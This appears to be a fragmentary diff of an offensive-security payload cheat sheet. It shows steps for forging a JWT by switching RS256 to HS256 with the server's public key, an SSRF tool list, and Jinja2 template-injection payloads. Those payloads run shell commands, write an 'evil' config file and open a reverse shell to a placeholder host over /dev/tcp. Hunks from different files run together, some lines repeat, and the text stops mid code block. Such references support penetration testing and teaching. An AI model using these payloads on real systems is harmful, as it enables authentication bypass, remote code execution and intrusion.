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JWT RS256 to HS256 using pubkey to generate a signature
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@ -4,10 +4,15 @@
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## Summary
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- JWT Format
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- JWT Signature - None algorithm
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- JWT Signature - RS256 to HS256
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- Breaking JWT's secret
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- [Tools](#tools)
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- [JWT Format](#jwt-format)
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- [JWT Signature - None algorithm](#jwt-signature---none-algorithm)
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- [JWT Signature - RS256 to HS256](#jwt-signature---rs256-to-hs256)
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- [Breaking JWT's secret](#breaking-jwts-secret)
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- [JWT Tool](#jwt-tool)
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- [JWT cracker](#jwt-cracker)
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- [Hashcat](#hashcat)
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- [References](#references)
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## Tools
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@ -118,10 +123,40 @@ print public
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print jwt.encode({"data":"test"}, key=public, algorithm='HS256')
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```
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Note: This behavior is fixed in the python library and will return this error `jwt.exceptions.InvalidKeyError: The specified key is an asymmetric key or x509 certificate and should not be used as an HMAC secret.`. You need to install the following version
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:warning: This behavior is fixed in the python library and will return this error `jwt.exceptions.InvalidKeyError: The specified key is an asymmetric key or x509 certificate and should not be used as an HMAC secret.`. You need to install the following version
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`pip install pyjwt==0.4.3`.
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Here are the steps to edit an RS256 JWT token into an HS256
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1. Convert our public key (key.pem) into HEX with this command.
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```powershell
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$ cat key.pem | xxd -p | tr -d "\\n"
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2d2d2d2d2d424547494e20505[STRIPPED]592d2d2d2d2d0a
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```
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2. Generate HMAC signature by supplying our public key as ASCII hex and with our token previously edited.
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```powershell
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$ echo -n "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpZCI6IjIzIiwidXNlcm5hbWUiOiJ2aXNpdG9yIiwicm9sZSI6IjEifQ" | openssl dgst -sha256 -mac HMAC -macopt hexkey:2d2d2d2d2d424547494e20505[STRIPPED]592d2d2d2d2d0a
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(stdin)= 8f421b351eb61ff226df88d526a7e9b9bb7b8239688c1f862f261a0c588910e0
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```
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3. Convert signature (Hex to "base64 URL")
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```powershell
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$ python2 -c "exec(\"import base64, binascii\nprint base64.urlsafe_b64encode(binascii.a2b_hex('8f421b351eb61ff226df88d526a7e9b9bb7b8239688c1f862f261a0c588910e0')).replace('=','')\")"
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```
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4. Add signature to edited payload
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```powershell
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[HEADER EDITED RS256 TO HS256].[DATA EDITED].[SIGNATURE]
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eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpZCI6IjIzIiwidXNlcm5hbWUiOiJ2aXNpdG9yIiwicm9sZSI6IjEifQ.j0IbNR62H_Im34jVJqfpubt7gjlojB-GLyYaDFiJEOA
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```
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## Breaking JWT's secret
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Encode/Decode JWT with the secret.
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@ -231,4 +266,5 @@ eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMj...Fh7HgQ:secret
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- [Simple JWT hacking - @b1ack_h00d](https://medium.com/@blackhood/simple-jwt-hacking-73870a976750)
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- [Attacking JWT authentication - Sep 28, 2016 - Sjoerd Langkemper](https://www.sjoerdlangkemper.nl/2016/09/28/attacking-jwt-authentication/)
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- [How to Hack a Weak JWT Implementation with a Timing Attack - Jan 7, 2017 - Tamas Polgar](https://hackernoon.com/can-timing-attack-be-a-practical-security-threat-on-jwt-signature-ba3c8340dea9)
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- [HACKING JSON WEB TOKENS, FROM ZERO TO HERO WITHOUT EFFORT - Thu Feb 09 2017 - @pdp](https://blog.websecurify.com/2017/02/hacking-json-web-tokens.html)
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- [HACKING JSON WEB TOKENS, FROM ZERO TO HERO WITHOUT EFFORT - Thu Feb 09 2017 - @pdp](https://blog.websecurify.com/2017/02/hacking-json-web-tokens.html)
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- [Write up – JRR Token – LeHack 2019 - 07/07/2019 - LAPHAZE](http://rootinthemiddle.org/write-up-jrr-token-lehack-2019/)
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@ -48,6 +48,7 @@
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- [SSRFmap - https://github.com/swisskyrepo/SSRFmap](https://github.com/swisskyrepo/SSRFmap)
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- [Gopherus - https://github.com/tarunkant/Gopherus](https://github.com/tarunkant/Gopherus)
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- [See-SURF - https://github.com/In3tinct/See-SURF](https://github.com/In3tinct/See-SURF)
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## Payloads with localhost
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@ -254,7 +254,14 @@ Listen for connexion
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nv -lnvp 8000
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```
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Inject this template
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Exploit the SSTI by calling subprocess.Popen.
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:warning: the number 396 will vary depending of the application.
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```python
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{{''.__class__.mro()[1].__subclasses__()[396]('cat flag.txt',shell=True,stdout=-1).communicate()[0].strip()}}
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```
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Exploit the SSTI by writing an evil file.
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```python
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{{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/evilconfig.cfg', 'w').write('from subprocess import check_output\n\nRUNCMD = check_output\n') }} # evil config
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@ -262,6 +269,7 @@ Inject this template
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{{ config['RUNCMD']('bash -i >& /dev/tcp/xx.xx.xx.xx/8000 0>&1',shell=True) }} # connect to evil host
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```
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### Filter bypass
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```python
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